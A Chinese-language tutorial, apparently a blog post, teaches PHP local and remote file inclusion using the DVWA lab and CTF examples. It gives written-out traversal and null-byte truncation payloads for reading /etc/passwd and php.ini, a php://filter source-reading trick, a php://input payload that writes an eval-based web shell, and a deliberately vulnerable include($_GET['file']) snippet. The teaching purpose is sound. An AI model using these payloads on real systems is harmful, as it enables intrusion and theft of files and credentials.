参考:《白帽子讲web安全》
实战平台:DVWA平台(DVWA平台安装具体自己百度)
文件包含漏洞
文件包含漏洞是”代码注入”的一种。”代码注入”这种攻击,其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。”代码注入”的典型代表就是文件包含(File Inclusion)。文件包含可能会出现在JSP,PHP,ASP等语言中。
在PHP中主要有四个函数:1
2
3
4
5include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
include_once()和require_once():若文件中代码已被包含则不会再次包含
本地文件包含漏洞
1 | 能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞(Local File Inclusion,简称LFI) |
实战
首先打开DVWA登陆,选择File Inclusion进行文件包含漏洞测试,记得在DVWA Security上选择等级low
- 随意构造?page=2333333,发现错误报告(开了错误提示为前提)
虽然Windows不能直接获取文件,但是给出的错误信息中爆出了绝对路径D:\appserv\www\DVWA-master\
构造url(绝对路径)1
http://localhost/DVWA-master/vulnerabilities/fi/?page=D:\appserv\www\DVWA-master\php.ini
得到php.ini的信息1
; This file attempts to overwrite the original php.ini file. Doesnt always work. magic_quotes_gpc = Off allow_url_fopen = On allow_url_include = On
构造url(相对路径)1
http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../../../../../../appser/www/DVWA-master/php.ini
这里加多次../是为了可以保证回到根目录
有限制的本地文件包含
1 | <?php |
- %00截断:
1
?file=../../../../../../../../../etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
- %00截断目录遍历:
1
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)
- 路径长度截断:
1
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)
- 点号截断:
1
?file=../../../../../../../../../boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)
远程文件包含漏洞
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。
实战
这里需要一个服务器(我这里不放出真正的ip)
在远程服务器xxx.xxx.x.xx上传一个1.php文件,内容为hello.
构造url1
http://localhost/DVWA-master/vulnerabilities/fi/?page=http://xxx.xxx.x.xx/1.php
可以看到页面输出hello
本地文件包含的利用技巧
远程文件包含漏洞之所以能够执行命令,就是因为攻击者能够自定义被包含的文件内容,本地文件包含相反
因此本地文件包含漏洞想要执行命令,也需要找到一个攻击者能够控制内容的本地文件。
【CTF题】使用文件包含漏洞读取网页代码
- 1.通过PHP内置协议直接读取代码
1
http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php
能获得xxx.php的代码的base64加密结果,通过base64解密后便可获得xxx.php的代码
- 2.写入php文件
1
http://xxx.com/index.php?file=php://input
且在http头里提交1
<?fputs(fopen("shell.php","w"),"<?php eval($_post['xxx'];?>")?>
就会在index.php说在的目录下生成shell.php
- 3.直接包含内有运行代码的文件
index.php1
2
3<?php
include $_GET['file'];
?>
那么就可以通过抓包修改file值的办法去运行一些本来不该运行的文件
也可以通过此方法直接输出一些敏感的配置文件和远程包含shell(需要目标主机开启allow_url_fopen)